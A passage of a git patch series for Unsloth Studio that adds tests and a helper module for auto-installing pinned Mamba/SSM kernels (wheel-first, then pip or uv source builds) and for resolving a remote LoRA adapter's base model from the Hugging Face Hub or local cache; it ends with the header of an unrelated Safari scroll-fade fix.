+    monkeypatch.setattr(
+        ssm_runtime, "install_wheel", lambda url, **k: [("uv", _Result(returncode = 0))]
+    )
+    pip_cmds = []
+    ok = ssm_runtime._install_kernel(
+        import_name = "mamba_ssm",
+        display_name = "mamba-ssm",
+        pypi_name = "mamba-ssm",
+        package_version = "2.3.1",
+        release_tag = "v2.3.1",
+        release_base_url = "x",
+        status_cb = None,
+        run = lambda cmd, **k: pip_cmds.append(cmd) or _Result(returncode = 0),
+    )
+    assert ok is True
+    assert pip_cmds, "a non-importable wheel must fall back to a source build"
+
+
+def test_hip_source_build_requires_hipcc(monkeypatch):
+    # ROCm env (hip_version set) with no wheel and no hipcc must fail clearly, not build.
+    monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: False)
+    monkeypatch.setattr(
+        ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"hip_version": "6.2"}
+    )
+    monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None)
+    monkeypatch.setattr(ssm_runtime.shutil, "which", lambda name: None)  # no uv, no hipcc
+    ran = []
+    ok = ssm_runtime._install_kernel(
+        import_name = "causal_conv1d",
+        display_name = "causal-conv1d",
+        pypi_name = "causal-conv1d",
+        package_version = "1.6.1",
+        release_tag = "v1.6.1.post4",
+        release_base_url = "x",
+        status_cb = None,
+        run = lambda cmd, **k: ran.append(cmd) or _Result(returncode = 0),
+    )
+    assert ok is False
+    assert ran == []  # bailed before invoking pip
+
+
+def test_source_build_reinstalls_to_replace_broken_wheel(monkeypatch):
+    # Reached only when not importable (possibly a broken wheel at the pinned version);
+    # the source build must reinstall so it replaces it instead of no-opping.
+    states = iter([False, True])
+    monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states))
+    monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {})
+    monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None)
+    cmds = []
+    ssm_runtime._install_kernel(
+        import_name = "causal_conv1d",
+        display_name = "causal-conv1d",
+        pypi_name = "causal-conv1d",
+        package_version = "1.6.1",
+        release_tag = "v1.6.1.post4",
+        release_base_url = "x",
+        status_cb = None,
+        run = lambda cmd, **k: cmds.append(cmd) or _Result(returncode = 0),
+    )
+    assert "--reinstall" in cmds[0] or "--force-reinstall" in cmds[0]
+
+
+def test_hip_uv_source_build_uses_no_cache(monkeypatch):
+    # ROCm uv source build must skip the cache to avoid reusing stale partial HIP builds.
+    states = iter([False, True])
+    monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states))
+    monkeypatch.setattr(
+        ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"hip_version": "6.2"}
+    )
+    monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None)
+    monkeypatch.setattr(ssm_runtime.shutil, "which", lambda name: "/usr/bin/" + name)  # uv + hipcc
+    monkeypatch.setattr(ssm_runtime, "_hipcc_gcc_install_dir", lambda: None)
+    cmds = []
+    ssm_runtime._install_kernel(
+        import_name = "causal_conv1d",
+        display_name = "causal-conv1d",
+        pypi_name = "causal-conv1d",
+        package_version = "1.6.1",
+        release_tag = "v1.6.1.post4",
+        release_base_url = "x",
+        status_cb = None,
+        run = lambda cmd, **k: cmds.append(cmd) or _Result(returncode = 0),
+    )
+    assert cmds[0][0] == "uv"
+    assert "--no-cache" in cmds[0] and "--reinstall" in cmds[0]
+
+
+# ── inference worker wiring ───────────────────────────────────────────────────
+
+
+def test_inference_worker_calls_ensure_ssm_runtime():
+    src = (_BACKEND / "core" / "inference" / "worker.py").read_text()
+    assert "from utils.ssm_runtime import ensure_ssm_runtime" in src
+    assert "ensure_ssm_runtime(" in src
+
+
+def test_inference_worker_skips_ssm_on_mlx_and_checks_lora_base():
+    src = (_BACKEND / "core" / "inference" / "worker.py").read_text()
+    # MLX (Apple Silicon) must not try to build CUDA/ROCm SSM kernels.
+    assert 'getattr(backend, "device", None) != "mlx"' in src
+    # A LoRA load must also check its base model, not just the adapter id.
+    assert "mc.base_model" in src
+
+
+def test_inference_worker_resolves_remote_lora_base_pre_import():
+    # A remote LoRA's base (from the Hub adapter_config.json) must be resolved before the
+    # transformers import so its SSM kernels are pre-installed, not too late in _handle_load.
+    src = (_BACKEND / "core" / "inference" / "worker.py").read_text()
+    assert "_remote_lora_base" in src
+
+
+def test_inference_worker_tiers_on_base_and_gates_lora_base_only():
+    src = (_BACKEND / "core" / "inference" / "worker.py").read_text()
+    # Tier activation runs on the resolved base, not the raw adapter id (remote-LoRA fix).
+    assert "_activate_transformers_version(_base)" in src
+    # The gate only adds a genuine LoRA base, never a full fine-tune's recorded (unloaded) base.
+    assert "_gate_targets" in src and "_lora_base" in src
+
+
+def test_inference_worker_probes_base_for_ssm_kernels():
+    # Both the pre-import path and _handle_load must derive SSM targets from a real model id
+    # via ssm_probe_identifier, not the raw adapter id / local checkpoint path.
+    src = (_BACKEND / "core" / "inference" / "worker.py").read_text()
+    assert src.count("ssm_probe_identifier(") >= 2
+
+
+def test_pre_import_gate_is_transformers_free():
+    # The pre-import gate must not import transformers: security_load_subdirs pulls
+    # model_config -> transformers, which would snapshot SSM backend availability before the
+    # kernels install. With load_subdirs=() the malware + consent scans stay transformers-free.
+    import sys as _sys
+    from unittest.mock import patch
+    import utils.security.file_security as fs
+    import utils.security.consent as consent
+
+    for m in list(_sys.modules):
+        if m == "transformers" or m.startswith("transformers.") or m == "utils.models.model_config":
+            _sys.modules.pop(m, None)
+
+    with patch.object(fs, "_fetch_security_status", return_value = None):
+        fs.evaluate_file_security("nvidia/Nemotron-H-8B", load_subdirs = ())
+    with patch.object(
+        consent, "_load_remote_code_configs", return_value = [{"model_type": "nemotron_h"}]
+    ):
+        from utils.security import evaluate_remote_code_consent_for_targets
+        evaluate_remote_code_consent_for_targets(["nvidia/Nemotron-H-8B"], trust_remote_code = True)
+
+    assert "transformers" not in _sys.modules
+    assert "utils.models.model_config" not in _sys.modules
+
+
+def test_pre_import_gate_skips_subdir_computation():
+    # The worker's pre-import preflight must call the gate with compute_subdirs=False so it
+    # never imports model_config/transformers before the SSM kernels are installed.
+    src = (_BACKEND / "core" / "inference" / "worker.py").read_text()
+    assert "compute_subdirs = False" in src
+
+
+def _call_linenos(tree, func_name, call_name):
+    import ast
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == func_name:
+            return [
+                c.lineno
+                for c in ast.walk(node)
+                if isinstance(c, ast.Call)
+                and isinstance(c.func, ast.Name)
+                and c.func.id == call_name
+            ]
+    return []
+
+
+def test_security_gates_run_before_ssm_install():
+    # The SSM install is name-based and can source-build native packages, so a malware /
+    # blocked-code model must be refused first -- in both the pre-import path and _handle_load.
+    import ast
+    tree = ast.parse((_BACKEND / "core" / "inference" / "worker.py").read_text())
+    for fn in ("run_inference_process", "_handle_load"):
+        gates = _call_linenos(tree, fn, "_run_security_gates")
+        ssm = _call_linenos(tree, fn, "_ensure_ssm_kernels")
+        assert gates, f"{fn} must call _run_security_gates"
+        assert ssm, f"{fn} must call _ensure_ssm_kernels"
+        assert min(gates) < min(ssm), f"{fn} must gate before installing SSM kernels"
+
+
+# ── drift guard vs the training worker (single source of truth) ───────────────
+
+
+def test_constants_match_training_worker():
+    try:
+        from core.training import worker as tw
+    except Exception as exc:  # pragma: no cover - only when training deps absent
+        pytest.skip(f"training worker not importable here: {exc}")
+
+    assert set(ssm_runtime.SSM_MODEL_SUBSTRINGS) == set(tw._SSM_MODEL_SUBSTRINGS)
+    assert ssm_runtime.MAMBA_SSM_PACKAGE_VERSION == tw._MAMBA_SSM_PACKAGE_VERSION
+    assert ssm_runtime.MAMBA_SSM_RELEASE_TAG == tw._MAMBA_SSM_RELEASE_TAG
+    assert ssm_runtime.CAUSAL_CONV1D_PACKAGE_VERSION == tw._CAUSAL_CONV1D_PACKAGE_VERSION
+    assert ssm_runtime.CAUSAL_CONV1D_RELEASE_TAG == tw._CAUSAL_CONV1D_RELEASE_TAG
+
+    # detection must agree with the training worker across SSM + non-SSM names
+    for name in (
+        "unsloth/NVIDIA-Nemotron-3-Nano-4B",
+        "nvidia/Nemotron-H-8B",
+        "tiiuae/Falcon-H1-0.5B",
+        "ibm-granite/granite-4.0-h-micro",
+        "Qwen/Qwen3-Next-80B",
+        "LiquidAI/LFM2-1.2B",
+        "unsloth/Llama-3.2-1B-Instruct",
+        "unsloth/Qwen2.5-7B",
+    ):
+        assert ssm_runtime.model_wants_causal_conv1d(name) == tw._model_wants_causal_conv1d(
+            name
+        ), name
diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index 179158079e..ccce3accc1 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -31,6 +31,7 @@ sys.modules.setdefault("loggers", _loggers_stub)
 
 from utils.transformers_version import (
     _resolve_base_model,
+    _remote_lora_base,
     _check_tokenizer_config_needs_v5,
     _check_config_needs_510,
     _check_config_needs_550,
@@ -136,6 +137,123 @@ class TestResolveBaseModel:
         assert result == "meta-llama/Llama-3-8B"
 
 
+class TestRemoteLoraBase:
+    """_remote_lora_base reads a remote adapter's base from its Hub adapter_config.json."""
+
+    @staticmethod
+    def _resp(cfg: dict):
+        class _Resp:
+            def __enter__(self):
+                return self
+
+            def __exit__(self, *a):
+                return False
+
+            def read(self):
+                return json.dumps(cfg).encode()
+
+        return _Resp()
+
+    def test_fetches_base_from_remote_adapter_config(self, monkeypatch):
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        cfg = {"base_model_name_or_path": "nvidia/NVIDIA-Nemotron-3-Nano-4B"}
+        with patch("urllib.request.urlopen", return_value = self._resp(cfg)):
+            assert (
+                _remote_lora_base("someuser/my-nemotron-lora") == "nvidia/NVIDIA-Nemotron-3-Nano-4B"
+            )
+
+    def test_local_or_noncanonical_returns_none(self):
+        assert _remote_lora_base("/local/dir/adapter") is None
+        assert _remote_lora_base("plainname") is None
+
+    def test_respects_hf_endpoint(self, monkeypatch):
+        # Enterprise mirror: the fetch must target HF_ENDPOINT, not hardcoded huggingface.co.
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        monkeypatch.setenv("HF_ENDPOINT", "https://hf.mirror.internal")
+        seen = {}
+
+        def fake_urlopen(req, timeout = 10):
+            seen["url"] = req.full_url
+            return self._resp({"base_model_name_or_path": "org/base"})
+
+        with patch("urllib.request.urlopen", side_effect = fake_urlopen):
+            assert _remote_lora_base("user/adapter") == "org/base"
+        assert seen["url"].startswith("https://hf.mirror.internal/user/adapter/raw/main/")
+
+    @staticmethod
+    def _seed_adapter_cache(
+        hub: Path,
+        repo_id: str,
+        base: str,
+        commit: str = "deadbeef",
+    ):
+        repo = hub / ("models--" + repo_id.replace("/", "--"))
+        snap = repo / "snapshots" / commit
+        snap.mkdir(parents = True)
+        (snap / "adapter_config.json").write_text(json.dumps({"base_model_name_or_path": base}))
+        (repo / "refs").mkdir(parents = True)
+        (repo / "refs" / "main").write_text(commit)
+
+    def test_offline_reads_base_from_hf_cache(self, tmp_path: Path, monkeypatch):
+        self._seed_adapter_cache(tmp_path, "user/cached-lora", "nvidia/Nemotron-H-8B")
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        with patch("urllib.request.urlopen") as mock_url:
+            assert _remote_lora_base("user/cached-lora") == "nvidia/Nemotron-H-8B"
+            mock_url.assert_not_called()  # offline: cache only, no network
+
+    def test_fetch_failure_falls_back_to_cache(self, tmp_path: Path, monkeypatch):
+        self._seed_adapter_cache(tmp_path, "user/cached-lora", "nvidia/Nemotron-H-8B")
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        with patch("urllib.request.urlopen", side_effect = OSError("boom")):
+            assert _remote_lora_base("user/cached-lora") == "nvidia/Nemotron-H-8B"
+
+    def test_offline_uncached_makes_no_request(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        with patch("urllib.request.urlopen") as mock_url:
+            assert _remote_lora_base("org/adapter") is None
+            mock_url.assert_not_called()
+
+    def test_non_adapter_repo_returns_none(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        with patch("urllib.request.urlopen", side_effect = OSError("boom")):
+            assert _remote_lora_base("org/not-an-adapter") is None
+
+    def test_existing_relative_path_not_treated_as_repo(self, monkeypatch):
+        # An existing one-slash relative path (e.g. outputs/run1) is a local checkpoint, not
+        # a Hub repo: no request, no risk of matching an unrelated remote/cached adapter.
+        import utils.paths as paths
+        monkeypatch.setattr(paths, "is_local_path", lambda p: True)
+        with patch("urllib.request.urlopen") as mock_url:
+            assert _remote_lora_base("outputs/run1") is None
+            mock_url.assert_not_called()
+
+    def test_404_returns_none_not_stale_cache(self, tmp_path: Path, monkeypatch):
+        import urllib.error
+
+        # The repo is now a full model (adapter_config.json 404s) but a stale LoRA snapshot is
+        # cached: a definitive 404 must return None, not the stale base.
+        self._seed_adapter_cache(tmp_path, "user/was-a-lora", "old/base")
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        err = urllib.error.HTTPError("url", 404, "Not Found", {}, None)
+        with patch("urllib.request.urlopen", side_effect = err):
+            assert _remote_lora_base("user/was-a-lora") is None
+
+    def test_transient_http_error_falls_back_to_cache(self, tmp_path: Path, monkeypatch):
+        import urllib.error
+
+        self._seed_adapter_cache(tmp_path, "user/cached-lora", "nvidia/Nemotron-H-8B")
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        err = urllib.error.HTTPError("url", 503, "Service Unavailable", {}, None)
+        with patch("urllib.request.urlopen", side_effect = err):
+            assert _remote_lora_base("user/cached-lora") == "nvidia/Nemotron-H-8B"
+
+
 # ---------------------------------------------------------------------------
 # _check_tokenizer_config_needs_v5 — local file check
 # ---------------------------------------------------------------------------
diff --git a/studio/backend/utils/ssm_runtime.py b/studio/backend/utils/ssm_runtime.py
new file mode 100644
index 0000000000..ca7e2309f9
--- /dev/null
+++ b/studio/backend/utils/ssm_runtime.py
@@ -0,0 +1,327 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Auto-install the SSM/Mamba kernels a hybrid model needs before it loads.
+
+Mamba/SSM hybrids (Nemotron-H/Nano, Falcon-H1, Granite-4.0-H, GraniteMoEHybrid, ...)
+lazy-``import mamba_ssm`` / ``causal_conv1d`` in their ``modeling_*.py`` during
+``from_pretrained``; absent, the load dies with "mamba-ssm is required ... cannot be
+imported". The training worker installs them wheel-first before a fine-tune; this is the
+shared, callback-based version the inference load path calls so chat behaves the same.
+Detection/versions mirror the training worker (``tests/test_ssm_runtime.py`` guards drift).
+"""
+
+from __future__ import annotations
+
+import importlib
+import os
+import platform
+import shutil
+import subprocess
+import sys
+import threading
+from typing import Any, Callable, Optional
+
+from loggers import get_logger
+from utils.wheel_utils import (
+    direct_wheel_url,
+    install_wheel,
+    probe_torch_wheel_env,
+    url_exists,
+)
+
+logger = get_logger(__name__)
+
+StatusCb = Optional[Callable[[str], None]]
+
+# Pinned wheels, kept in lockstep with core/training/worker.py by tests/test_ssm_runtime.py.
+CAUSAL_CONV1D_PACKAGE_VERSION = "1.6.1"
+CAUSAL_CONV1D_RELEASE_TAG = "v1.6.1.post4"
+CAUSAL_CONV1D_RELEASE_BASE_URL = "https://github.com/Dao-AILab/causal-conv1d/releases/download"
+MAMBA_SSM_PACKAGE_VERSION = "2.3.1"
+MAMBA_SSM_RELEASE_TAG = "v2.3.1"
+MAMBA_SSM_RELEASE_BASE_URL = "https://github.com/state-spaces/mamba/releases/download"
+
+# Lowercased-id substring matches, mirroring the training worker. mamba-ssm models are a
+# subset of the causal-conv1d set.
+SSM_MODEL_SUBSTRINGS = (
+    "nemotron_h",
+    "nemotron-h",
+    "nemotron-3-nano",
+    "falcon_h1",
+    "falcon-h1",
+    "granite-4.0-h",
+    "granitemoehybrid",
+)
+CAUSAL_CONV1D_MODEL_SUBSTRINGS = (
+    "qwen3.5",
+    "qwen3_5",
+    "qwen3.6",
+    "qwen3_6",
+    "qwen3-next",
+    "qwen3_next",
+    "nemotron_h",
+    "nemotron-h",
+    "nemotron-3-nano",
+    "falcon_h1",
+    "falcon-h1",
+    "granite-4.0-h",
+    "granitemoehybrid",
+    "lfm2",
+)
+
+
+def model_is_ssm(model_name: str) -> bool:
+    """Whether *model_name* is a Mamba/SSM hybrid that needs ``mamba_ssm``."""
+    name = (model_name or "").lower()
+    return any(sub in name for sub in SSM_MODEL_SUBSTRINGS)
+
+
+def model_wants_causal_conv1d(model_name: str) -> bool:
+    """Whether *model_name* needs ``causal_conv1d`` (the SSM set plus linear-attention
+    hybrids like Qwen3-Next / LFM2 whose modeling files lazy-import it)."""
+    name = (model_name or "").lower()
+    return any(sub in name for sub in CAUSAL_CONV1D_MODEL_SUBSTRINGS)
+
+
+def ssm_probe_identifier(model_name: str, base: str | None = None) -> str:
+    """The identifier whose architecture decides the SSM kernels.
+
+    The substring match needs a real model id: a LoRA adapter id or a local checkpoint's
+    parent folders are unrelated to its architecture (a Llama LoRA at ``user/falcon-h1-lora``
+    is not SSM). Prefer *base*; for a bare local checkpoint use its basename.
+    """
+    probe = base or model_name
+    if probe == model_name:
+        try:
+            from utils.paths import is_local_path
+            if is_local_path(model_name):
+                probe = os.path.basename((model_name or "").rstrip("/\\")) or model_name
+        except Exception:
+            pass
+    return probe
+
+
+def _is_importable(import_name: str) -> bool:
+    # Invalidate finder caches so a kernel installed earlier in this process is seen.
+    importlib.invalidate_caches()
+    try:
+        __import__(import_name)
+        return True
+    except Exception as exc:
+        # An ABI-incompatible kernel (undefined symbol after a torch/CUDA upgrade) raises
+        # OSError/RuntimeError, not ImportError; treat any failure as "not importable" so the
+        # caller reinstalls/source-builds instead of hard-failing on a merely broken kernel.
+        logger.debug("%s is not importable (%s: %s)", import_name, type(exc).__name__, exc)
+        return False
+
+
+def _emit(status_cb: StatusCb, message: str) -> None:
+    logger.info(message)
+    if status_cb is None:
+        return
+    try:
+        status_cb(message)
+    except Exception:  # status is best-effort; never fail a load over a UI message
+        logger.debug("ssm_runtime status callback raised", exc_info = True)
+
+
+def _hipcc_gcc_install_dir() -> Optional[str]:
+    """Highest gcc dir with both runtime and C++ headers, for ROCm clang's
+    ``--gcc-install-dir`` (Ubuntu 24.04 ships gcc-14 runtime without its headers)."""
+    if not sys.platform.startswith("linux") or platform.machine().lower() != "x86_64":
+        return None
+    for ver in (14, 13, 12, 11):
+        if os.path.isdir(f"/usr/lib/gcc/x86_64-linux-gnu/{ver}/include") and os.path.isdir(
+            f"/usr/include/c++/{ver}"
+        ):
+            return f"/usr/lib/gcc/x86_64-linux-gnu/{ver}"
+    return None
+
+
+def _run_with_heartbeat(run, cmd, status_cb, display_name, **kwargs):
+    """Run *cmd* via *run*, emitting a status every 60s so the parent's inactivity
+    timeout isn't tripped by a long (e.g. ROCm) source build."""
+    done = threading.Event()
+
+    def _beat():
+        while not done.wait(60):
+            _emit(status_cb, f"Still building {display_name} (this can take several minutes)...")
+
+    threading.Thread(target = _beat, daemon = True).start()
+    try:
+        return run(cmd, **kwargs)
+    finally:
+        done.set()
+
+
+def _install_kernel(
+    *,
+    import_name: str,
+    display_name: str,
+    pypi_name: str,
+    package_version: str,
+    release_tag: str,
+    release_base_url: str,
+    status_cb: StatusCb,
+    run: Callable[..., Any],
+) -> bool:
+    """Install one kernel wheel-first, then a HIP-aware PyPI source build. Returns True iff
+    importable afterwards; idempotent (no-op when already installed)."""
+    if _is_importable(import_name):
+        logger.info("%s already installed", display_name)
+        return True
+
+    env = probe_torch_wheel_env(timeout = 30)
+    wheel_url = direct_wheel_url(
+        filename_prefix = import_name,
+        package_version = package_version,
+        release_tag = release_tag,
+        release_base_url = release_base_url,
+        env = env,
+    )
+    if wheel_url and url_exists(wheel_url):
+        _emit(status_cb, f"Installing {display_name} (prebuilt kernel) for this model...")
+        for installer, result in install_wheel(
+            wheel_url,
+            python_executable = sys.executable,
+            use_uv = bool(shutil.which("uv")),
+            run = run,
+        ):
+            if getattr(result, "returncode", 1) == 0:
+                # A wheel can install yet fail to import (CUDA/ABI mismatch); verify before
+                # trusting it, else source-build to match the local ABI.
+                if _is_importable(import_name):
+                    logger.info("Installed prebuilt %s wheel", display_name)
+                    return True
+                logger.warning(
+                    "%s wheel installed but not importable; building from source", display_name
+                )
+                break
+            logger.warning(
+                "%s could not install %s wheel:\n%s",
+                installer,
+                display_name,
+                getattr(result, "stdout", ""),
+            )
+    else:
+        logger.info(
+            "No prebuilt %s wheel for this environment (%s); building from source",
+            display_name,
+            wheel_url,
+        )
+
+    # Source build (slow). ROCm has no prebuilt wheel and needs hipcc + a gcc-install-dir shim.
+    spec = f"{pypi_name}=={package_version}"
+    is_hip = bool((env or {}).get("hip_version"))
+    if is_hip and not shutil.which("hipcc"):
+        _emit(status_cb, f"{display_name}: hipcc not found; install the ROCm HIP SDK to build it.")
+        return False
+    _emit(
+        status_cb,
+        f"Building {display_name} from source for this model (this can take several minutes)...",
+    )
+    # Reinstall so the source build replaces a broken wheel instead of no-opping as
+    # "already satisfied"; --no-cache avoids stale partial HIP build artifacts.
+    if shutil.which("uv"):
+        cmd = [
+            "uv",
+            "pip",
+            "install",
+            "--python",
+            sys.executable,
+            "--no-build-isolation",
+            "--no-deps",
+            "--reinstall",
+        ]
+        if is_hip:
+            cmd.append("--no-cache")
+        cmd.append(spec)
+    else:
+        cmd = [
+            sys.executable,
+            "-m",
+            "pip",
+            "install",
+            "--no-build-isolation",
+            "--no-deps",
+            "--no-cache-dir",
+            "--force-reinstall",
+            spec,
+        ]
+
+    run_kwargs: dict[str, Any] = {
+        "stdout": subprocess.PIPE,
+        "stderr": subprocess.STDOUT,
+        "text": True,
+    }
+    if is_hip:
+        run_kwargs["timeout"] = 1800  # ROCm builds can take 10-30 min
+        existing = os.environ.get("HIPCC_COMPILE_FLAGS_APPEND", "")
+        if "--gcc-install-dir" not in existing:
+            gcc_dir = _hipcc_gcc_install_dir()
+            if gcc_dir:
+                _env = os.environ.copy()
+                _env["HIPCC_COMPILE_FLAGS_APPEND"] = (
+                    f"{existing} --gcc-install-dir={gcc_dir}".strip()
+                )
+                run_kwargs["env"] = _env
+    try:
+        result = _run_with_heartbeat(run, cmd, status_cb, display_name, **run_kwargs)
+    except subprocess.TimeoutExpired:
+        logger.error("%s source build timed out", display_name)
+        _emit(status_cb, f"{display_name} source build timed out.")
+        return False
+    if getattr(result, "returncode", 1) != 0:
+        logger.warning("%s source install failed:\n%s", display_name, getattr(result, "stdout", ""))
+    return _is_importable(import_name)
+
+
+def ensure_ssm_runtime(
+    model_name: str,
+    *,
+    status_cb: StatusCb = None,
+    run: Callable[..., Any] = subprocess.run,
+) -> None:
+    """Install the SSM kernels *model_name* needs before load, wheel-first; a no-op for
+    non-SSM models and idempotent. Only a true SSM hybrid's ``mamba_ssm`` is fatal (raises
+    ``RuntimeError`` instead of a cryptic mid-load failure); ``causal_conv1d`` is best-effort
+    (Qwen3-Next/LFM2 fall back to torch).
+    """
+    wants_causal_conv1d = model_wants_causal_conv1d(model_name)
+    is_ssm = model_is_ssm(model_name)
+    if not (wants_causal_conv1d or is_ssm):
+        return
+
+    # No prebuilt Windows wheel: skip causal-conv1d on win32 (mirrors training) rather than
+    # dropping a chat load into a multi-minute source build for an optional fast path.
+    if wants_causal_conv1d and sys.platform == "win32":
+        logger.info(
+            "Skipping causal-conv1d on Windows (no prebuilt wheel); using the torch fallback"
+        )
+        wants_causal_conv1d = False
+
+    # causal-conv1d first (SSM modeling files lazy-import it; mamba-ssm's fast path uses it).
+    if wants_causal_conv1d and not _install_kernel(
+        import_name = "causal_conv1d",
+        display_name = "causal-conv1d",
+        pypi_name = "causal-conv1d",
+        package_version = CAUSAL_CONV1D_PACKAGE_VERSION,
+        release_tag = CAUSAL_CONV1D_RELEASE_TAG,
+        release_base_url = CAUSAL_CONV1D_RELEASE_BASE_URL,
+        status_cb = status_cb,
+        run = run,
+    ):
+        logger.warning("causal-conv1d unavailable; continuing on the model's torch fallback")
+
+    if is_ssm and not _install_kernel(
+        import_name = "mamba_ssm",
+        display_name = "mamba-ssm",
+        pypi_name = "mamba-ssm",
+        package_version = MAMBA_SSM_PACKAGE_VERSION,
+        release_tag = MAMBA_SSM_RELEASE_TAG,
+        release_base_url = MAMBA_SSM_RELEASE_BASE_URL,
+        status_cb = status_cb,
+        run = run,
+    ):
+        raise RuntimeError("Could not install mamba-ssm, required by this Mamba model.")
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index fe3d263341..f1224086bf 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -282,6 +282,103 @@ def _resolve_base_model(model_name: str) -> str:
     return model_name
 
 
+def _is_canonical_repo_id(model_name: str) -> bool:
+    """True for a canonical ``owner/repo`` Hub id (not a local or relative path)."""
+    return bool(
+        model_name
+        and model_name.count("/") == 1
+        and model_name[0] not in "/.~"
+        and "\\" not in model_name
+    )
+
+
+def _adapter_base_from_hf_cache(model_name: str) -> str | None:
+    """``base_model_name_or_path`` from a remote adapter's cached ``adapter_config.json``.
+
+    Stdlib path resolution of the HF hub cache (no ``huggingface_hub`` import); the newest
+    snapshot wins. Lets an offline cached LoRA still resolve its base.
+    """
+    if not _is_canonical_repo_id(model_name):
+        return None
+    hub = (
+        os.environ.get("HF_HUB_CACHE")
+        or os.environ.get("HUGGINGFACE_HUB_CACHE")
+        or os.path.join(
+            os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"), "hub"
+        )
+    )
+    repo_dir = Path(hub) / ("models--" + model_name.replace("/", "--"))
+    candidates = []
+    ref_main = repo_dir / "refs" / "main"
+
+    def _mtime(p: Path) -> float:
+        try:
+            return p.stat().st_mtime
+        except OSError:
+            return 0.0
+
+    try:
+        if ref_main.is_file():
+            candidates.append(
+                repo_dir / "snapshots" / ref_main.read_text().strip() / "adapter_config.json"
+            )
+        candidates += sorted(
+            repo_dir.glob("snapshots/*/adapter_config.json"), key = _mtime, reverse = True
+        )
+        for cfg_path in candidates:
+            if cfg_path.is_file():
+                base = json.loads(cfg_path.read_text()).get("base_model_name_or_path")
+                return base or None
+    except Exception as exc:
+        logger.debug("HF cache adapter_config.json lookup failed for '%s': %s", model_name, exc)
+    return None
+
+
+def _remote_lora_base(model_name: str, hf_token: str | None = None) -> str | None:
+    """``base_model_name_or_path`` from a remote adapter's ``adapter_config.json``, or None.
+
+    Raw HTTP (no huggingface_hub / transformers import), so a remote LoRA's base is known
+    before any ML import. Offline (or on a transient failure) it reads the local hub cache,
+    since a cached adapter is still loadable; a definitive 404 returns None (the repo is not
+    a LoRA) rather than a stale cached base. Skipped for local/non-canonical ids.
+    """
+    if not _is_canonical_repo_id(model_name):
+        return None
+    try:
+        from utils.paths import is_local_path
+        if is_local_path(model_name):
+            return None  # an existing relative path is a local checkpoint, not a Hub repo
+    except Exception:
+        pass
+    if _env_offline():
+        return _adapter_base_from_hf_cache(model_name)
+
+    import urllib.error
+    import urllib.request
+
+    endpoint = (os.environ.get("HF_ENDPOINT") or "https://huggingface.co").rstrip("/")
+    url = f"{endpoint}/{model_name}/raw/main/adapter_config.json"
+    headers = {"User-Agent": "unsloth-studio"}
+    if hf_token:
+        headers["Authorization"] = f"Bearer {hf_token}"
+    try:
+        req = urllib.request.Request(url, headers = headers)
+        with urllib.request.urlopen(req, timeout = 10) as resp:
+            cfg = json.loads(resp.read().decode())
+        base = cfg.get("base_model_name_or_path")
+        if base:
+            logger.info("Resolved remote LoRA adapter '%s' → base model '%s'", model_name, base)
+        return base or None
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return None  # definitively not a LoRA; do not serve a stale cached base
+        logger.debug("adapter_config.json fetch failed for '%s': %s", model_name, exc)
+        return _adapter_base_from_hf_cache(model_name)
+    except Exception as exc:
+        logger.debug("No remote adapter_config.json for '%s': %s", model_name, exc)
+        return _adapter_base_from_hf_cache(model_name)
+
+
 def _check_tokenizer_config_needs_v5(model_name: str) -> bool:
     """True if the model's tokenizer_class requires transformers 5.x.
 

From 586262decd703c5877a6e7c081bf712353db0129 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 22 Jun 2026 04:59:13 -0700
Subject: [PATCH 021/306] Fix grey scroll-fade bands on macOS Safari 27 Beta
 (#6507)

The chat and sidebar scroll-fade overlays ended their gradient at the
`transparent` keyword, which is transparent black. Safari 27 Beta
(Liquid Glass) interpolates an opaque colour to transparent black
through a grey midtone, so the fades render as two solid grey bands
(top of the chat and above the composer).

Fade each gradient to the theme colour at zero alpha instead, so every
step keeps the same hue and no grey can appear. Fixes #6457.

Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/frontend/src/components/app-sidebar.tsx         | 2 +-
 studio/frontend/src/components/assistant-ui/thread.tsx | 2 +-
 studio/frontend/src/features/chat/chat-page.tsx        | 2 +-
 studio/frontend/src/index.css                          | 8 +++++++-
 4 files changed, 10 insertions(+), 4 deletions(-)

